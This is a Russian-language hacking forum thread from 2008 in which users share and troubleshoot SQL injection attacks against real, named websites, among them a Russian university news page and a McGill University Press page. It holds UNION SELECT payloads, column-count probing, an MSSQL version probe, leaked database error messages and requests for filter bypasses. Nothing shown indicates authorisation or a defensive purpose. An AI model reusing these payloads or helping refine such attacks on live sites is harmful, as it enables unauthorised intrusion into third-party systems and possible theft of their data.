ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
05.04.2008, 20:46
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
truelamer
Сканером и гуглом
|
|
|
05.04.2008, 20:59
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782
Репутация:
81
|
|
а сканер какой? посоветуйте.
|
|
|
|
05.04.2008, 21:37
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
truelamer
Посмотри на это, всё-таки местная разработка:
_https://forum.antichat.ru/threadnav40031-1-10.html
|
|
|
|
06.04.2008, 00:27
|
|
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132
Репутация:
63
|
|
http://www.ulsu.ru/news/?i=-0'+union+select+1,2,3,4,5,6,7/*
Что делать... .
|
|
|
|
06.04.2008, 00:52
|
|
Участник форума
Регистрация: 27.10.2006
Сообщений: 205
Провел на форуме:
2298631
Репутация:
380
|
|
Сообщение от Buffalon
http://www.ulsu.ru/news/?i=-0'+union+select+1,2,3,4,5,6,7/*
Что делать... .
Там нет скули
http://www.ulsu.ru/news/?i=2-1
не равно
http://www.ulsu.ru/news/?i=1
|
|
|
|
06.04.2008, 00:53
|
|
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635
Репутация:
2407
|
|
maxster, скуля есть, у них просто кривая фильтрация.
На этом сайте режется символ запятой в id, точнее всё, что после него, и в итоге запрос принимает вид
-0' union select 1' AND `news_date`<='2' ORDER BY `news_date` DESC,`id`
Скорее всего, юнионом здесь воспользоваться не получится.
|
|
|
|
06.04.2008, 00:56
|
|
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме:
1208132
Репутация:
63
|
|
Сообщение от d_x
maxster, скуля есть, у них просто кривая фильтрация.
На этом сайте режется символ запятой в id, точнее всё, что после него, и в итоге запрос принимает вид
-0' union select 1' AND `news_date`<='2' ORDER BY `news_date` DESC,`id`
Скорее всего, юнионом здесь воспользоваться не получится.
Я заметил ... .+ подставляет всякую бяку перед нехорошими символами((
|
|
|
|
06.04.2008, 02:45
|
|
Новичок
Регистрация: 26.11.2006
Сообщений: 2
Провел на форуме:
38637
Репутация:
1
|
|
PHP Warning: odbc_exec() [function.odbc-exec]: SQL error: [Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression 'sp.SPECIMEN_ID = 2541 or 1=@@version) -- AND sp.SITENO = si.SITENO'., SQL state 37000 in SQLExecDirect in G:\InetPub\wwwroot\public_site\search.php on line 305 PHP Warning: odbc_fetch_array(): supplied argument is not a valid ODBC result resource in G:\InetPub\wwwroot\public_site\search.php on line 307
такую ошибку получаю, почему -- не режет запрос? как обойти
зы с mssql первый раз столкнулся
|
|
|
|
06.04.2008, 09:27
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме:
350782
Репутация:
81
|
|
Помогите с количеством столбцов http://mqup.mcgill.ca/book.php?bookid=-1'
order by говорит что их 3, но что-то не так
|
|
|
|
06.04.2008, 09:49
|
|
Участник форума
Регистрация: 05.08.2007
Сообщений: 236
Провел на форуме:
4625160
Репутация:
457
|
|
при 25 выдает полностью запрос
Error executing the SQL Query : SELECT authors.*, bookauthors.authorType, bookauthors.bookID FROM bookauthors INNER JOIN authors ON bookauthors.authorID = authors.ID WHERE bookauthors.bookID = -1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25/* and authorType = 1
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
